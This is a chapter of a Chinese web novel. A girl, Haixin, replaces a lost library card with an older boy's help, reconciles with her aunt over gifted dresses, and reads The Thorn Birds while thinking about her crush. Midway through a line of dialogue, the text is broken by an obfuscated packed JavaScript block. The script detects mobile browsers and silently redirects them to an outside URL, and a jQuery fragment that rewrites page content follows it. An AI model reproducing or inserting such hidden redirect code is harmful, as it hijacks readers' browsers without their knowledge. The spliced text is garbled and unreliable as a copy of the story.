2008年,夏。阴云散尽。
“我没有骗人,但是姨妈不相信我。”
海心用简单的几句话,将今天的争吵带过了。
“我们和姨妈解释一下吧,我会帮你的。”小季哥哥这样道。
“其实……其实我已经不为这件事情伤心了。”海心却说,声音逐渐小了下去。
他并不说话,只是温柔地注视着海心,仿佛在引导海心说出更多。
海心决定坦白自己的错误。
可是说出第一个字的时候,眼泪就在不争气地往外流。
“我把你借给我的图书卡,弄,弄丢了呜呜……”
小季哥哥却松了一口气一样。
“我还以为什么事呢,没关系的。”他伸出手,下意识想去触碰海心脏兮兮的小脸,却又克制住了。
最后,他在海心脸的下方摊开掌心,接住了那些晶莹的泪滴。
泪水在他的掌纹中汇集成小水渠,四处流去。
“我们站起来走走吧,腿要麻了。”小季哥哥这样哄她,“还是海心比较厉害,可以蹲这么久,我就不行。”
海心擦擦眼泪,扶着墙缓缓直起身来。
“跟我来吧。”只听小季哥哥这样说。
图书馆确实已经闭馆,但是一楼大厅的灯还亮着,几个穿着红马甲的志愿者们正加班加点录入新书,还有几个技术工打扮的叔叔正在维护公用的电脑。
小季哥哥领着海心走进去。
人群中,海心看见了熟悉的面孔。
图书管理员姐姐像是早就知道海心会来一样,笑语盈盈:“来补办图书卡的吗,小妹妹?正好我们今天系统还没关哦。”
海心揉揉眼,不敢相信地看了看图书管理员姐姐,又看了看小季哥哥。
她不明白事情的展开为何如此。
但是很快,一张崭新的图书卡递到了海心手上。
“喏,给你办的是成人卡,看嗷,我给你输入名字进去喽,hai...xin...你叫海心对吧小妹妹?”
管理员姐姐还在系统上操作着录入程序,海心捏着那张属于自己的图书卡,怔怔地抬起头,看向小季哥哥:“成人卡?”
小季哥哥说:“你现在可以办成人卡了,也就是说,馆内所有的书,你都可以看。”
如梦初醒一般,海心连连摆手要拒绝:“不行不行,我没有那么多钱呢。”
管理员姐姐笑开了花:“押金有人给你交过啦。”
说着,管理员姐姐指了指小季哥哥。
海心惊讶:“什么时候交的呀!”她怎么没看到呢?
“在你刚进来,还在东张西望的时候。”他答。
“对了,海心小妹妹。”管理员姐姐突然插道,“下午你姨妈来过了哦,我跟她解释过了,这书是你借的,我们这里都有记录。”
管理员姐姐抬起手,晃了晃手里拿着的一本海心眼熟的书。
是姨妈从她枕头下翻出来的那本。
海心离开家门之后,姨妈应当是拿着这本书来图书馆了。
管理员姐姐还给了海心。
幸好这不是一本言情小说。海心接过书,红着脸打量了下管理员姐姐的神色。
她想到管理员先前让自己“少看言情小说”的话,又想起那个混乱的梦。
“谢谢你,姐姐。”海心道了谢,就拽了拽小季哥哥的衣角,示意她想离开了。
小季哥哥陪着海心一路走到图书馆大门口,却停下脚步,再也不走了。
“小季哥哥,你不回家吗?”海心怀里抱着书,手里紧紧捏着新办的图书卡,迷茫地看着他。
“你先回吧,我……”小季哥哥的神情在昏黄的路灯下变得柔和又模糊。
“我知道,我们不顺路。”海心迅速地帮他补充解释。
她不想成为太粘人的讨厌小孩。
“小季哥哥,谢谢你。”临走前,海心抿着嘴唇,对他挤出一个真心的笑来,“这张卡真的可以借所有的书吗?”
图书馆的四楼、五楼,有许多精装图书,要刷卡上楼,海心从没有去过。
小季哥哥点头:“想看什么就看什么,多看点书有好处。比如……唔,可以看看科学科普类,我记得海心不是在理科课程上比较困难吗?”
“可是,可是我只喜欢看那种轻松一点的,比如发生在两个人之间的感情故事……啊,不一定是谈恋爱,反正就是……”其实就是言情小说,海心只是不好意思承认。
却听小季哥哥认真答复了她的扭捏。
“没关系。”他说,“爱是一种很强大,很神秘的力量,某种意义上,甚至是一种可以超越科学的力量。”
-
姨妈是一个倔脾气的人,海心从没有见她开过口和任何人道歉,连一丝一毫的示弱都很难有。
家里的低气压持续盘旋了好几天。
今天放学回来,开门的一刻,海心迟疑了一下。
满屋飘香,是姨妈炖的鸡汤。
“洗手吃饭。”姨妈短促又生硬地抛下这一句,用围巾擦了擦手,又拿起筷子,夹起一只鸡腿,放在海心碗里。
今天姨妈炖了一整只鸡,有两只鸡腿。
海心拄着筷子,盯着碗里油汪汪的大鸡腿,一时间也没有任何动作。
“吃啊,搞得谁亏待你似的。”姨妈红着眼眶,恶声恶气地说着,“三棒子打不出个屁来,有什么话都憋心里不说,真是谁生的像谁。”
海心埋头,啃了一口大鸡腿。
香香嫩嫩,油润润的,比小鸡腿好吃多了。
真奇怪,她们谁也没有原谅谁,但是好像谁都没有再提那天的事了。
吃完饭,姨妈把陈厉赶回了房间,似乎是有事要和海心说。
陈厉心不甘情不愿地一瘸一拐走回房间去,把门摔上。
确认陈厉回房后,姨妈的面色又变得别扭不自然起来。她从一个大红色塑料袋里取出一个包装精美的粉色牛皮纸袋子,袋子里鼓鼓囊囊的,绵绵软软的像是装着衣服。
海心没见过这种粉色带花的牛皮纸,甚至上边还系着蝴蝶结丝带呢。
“你妈寄给你的。”姨妈这么说,把纸袋子往餐桌上一搁。
她本要装作毫不关心的样子,但见海心还真傻站着不去拆,姨妈也有些焦急:“拆开看看啊!”
海心拆开了,竟然是两条连衣裙。
一条鹅黄色碎花的,带着嫩绿色的草叶图案作为点缀。
一条玫红的,颜色很正,裙身的设计像一朵小玫瑰花。
“姨妈……”海心用手指头捻着裙子冰凉丝滑的布料,小声问道,“这真的是我妈妈寄回来的?”
姨妈剜了海心一眼,抬高的音调显得有些刻意:“那不然呢?我可没有钱给你买这些不实用的。”
海心眸光微微闪动。
这两条裙子是去年春天,海心和姨妈逛地下商场的时候瞧见的。
在满是麻辣烫气味的拥挤小店里,海心一眼就看中了这两条挂得高高的裙子,被电风扇的风吹拂着,雪纺料的蓬松裙摆轻轻摇曳着,美得小海心走不动路。
商店老板放下手里的麻辣烫,抄起撑衣杆,问姨妈:“叉下来给你家姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404665|200381||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
试试啊?肯定好看!”
当时姨妈只是把她拽走了,对着商店老板说:“她皮肤黑,穿不好看的!”
姨妈肯定是觉得她已经忘记了。
海心这么想。
“谢谢姨妈。”她轻声说。
姨妈一下子还没有反应过来,只是嘱咐着:“上学不许穿啊!还有,别给我弄脏了,没空给你洗。”
-
海海:就快放暑假了哦!
海海:这个周末我想穿新裙子去找你玩。
海海:我想穿鹅黄色的那件,会不会显得我很黑呢?
躲在卫生间,海心摁着手机键盘。
她背靠着正在运作的洗衣机,“嗡嗡”作响的大机器不断震动着,抵着她的一整个后背,将海心整个人都震得晕晕乎乎,酥酥麻麻的。
发完几条消息,海心转头凝视着卫生间镜中的自己。
突发奇想一样,海心用姨妈的梳子,沾了些自来水,认真地把自己枯燥的头发梳得服服帖帖。
最后,她用手做圈,把半长的头发在脑后固定成一个低马尾。
散乱的头发一经梳理,露出了曾经被挡了大半的小脸。
虽然皮肤略黑,但是骨相清晰,脸型流畅。
一双杏核般的眼睛圆睁,闪烁出海水静谧又温柔的色泽。
海心对自己笑了一下。
G:你很漂亮。
她觉得如果G真的存在,一定也会这样回答。
-
周五的晚上,海心读完了那本《荆棘鸟》。
这是一本大部头。
书中的小姑娘叫梅吉,故事伊始时才四岁,她有着“金红色的头发、银灰色的眼睛,像熔融的宝石”,海心觉得美极了。
然而这样美丽的梅吉,却仍然因她的发红的发色和并不高贵的出身被排斥。
这些都在梅吉九岁那一年改变了,因为她遇到了拉尔夫神父。
神父也会欣赏农场里的小女孩吗?
可是故事里的拉尔夫神父用行动回应了海心的困惑。
他对待那些穿着昂贵贴身的骑装、踩着黑亮马靴的贵族名媛们不屑一顾,彬彬有礼却丝毫不掺杂半分柔情。
但对待梅吉,却把她当做一位真正尊贵、璀璨的小淑女一样,将梅吉抱上马背,策马越过水坑,不让地上的污泥染脏这个小女孩半点。
拉尔夫和梅吉相差了将近二十岁,无论是身份还是年龄,都是难以逾越的天谴。
海心第一次从书中认识了“亵渎”二字的含义。
平平无奇的人妄图与超凡的存在比肩而行,就是一种亵渎。
他们虽没有能够在一起,但梅吉和拉尔夫之间的爱情一直延续到两人生命的尽头。
就像鸟儿把荆棘刺入胸膛,仍然在血液横流中放声歌唱,做一个清醒梦。
海心将书中的句子摘抄进手机里。
她隐秘地能感觉到自己缘何对这本书如此痴迷。在读到梅吉青涩阴郁的青春期时,海心总想到自己;而神父拉尔夫那些温柔而自持的关怀,却让海心想到小季哥哥。
海心将这些自以为是的遐思藏进日记本里,也藏进小小的手机备忘录里。
她无意识地用手笼住自己的胸口,近些天来,她的胸口一直胀痛,却没有任何伤疤或者红肿。
海心试过穿柔软的衣服,小心翼翼地不去触碰,不但没有任何好转,反而更加严重,疼痛愈演愈烈。
海心想,她就是那只鸟儿,产生了不合时宜的心思,做了不负责任的遐想。
于是荆棘贯穿了她,坚硬的刺破胸而出。